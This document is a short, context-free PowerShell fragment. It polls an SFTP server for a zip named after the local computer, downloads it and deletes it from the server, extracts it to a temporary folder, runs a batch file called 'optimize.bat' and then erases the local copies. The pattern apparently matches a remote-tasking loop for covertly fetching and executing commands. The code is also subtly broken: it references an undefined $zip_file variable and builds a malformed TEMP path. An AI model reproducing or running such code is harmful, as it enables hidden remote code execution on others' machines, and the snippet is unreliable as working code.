```powershell
 if (Test-SFTPPath -SFTPSession $s "command_$($env:COMPUTERNAME).zip") {
  Get-SFTPFile -SFTPSession $s -RemoteFile "command_$($env:COMPUTERNAME).zip" -LocalPath "$($env:TEMP)command.zip" -Overwrite;
  Remove-SFTPItem -SFTPSession $s -Path "command_$($env:COMPUTERNAME).zip" -Force;
  $tmp = New-TemporaryFile;
  Remove-Item -Path $tmp -force;
  New-Item -Path $tmp -Type directory;
  $command_path = $tmp;
  $shell_app=new-object -com shell.application;
  $z = $shell_app.namespace("$($env:TEMP)command.zip");
  $d = $shell_app.namespace($command_path);
  $d.Copyhere($zip_file.items(), 0x10);
  cmd.exe /c $command_path+"\optimize.bat";
  Remove-Item -Path "$($env:TEMP)command.zip" -Force;
  Remove-Item -Recurse -Path $command_path -Force;
 }
```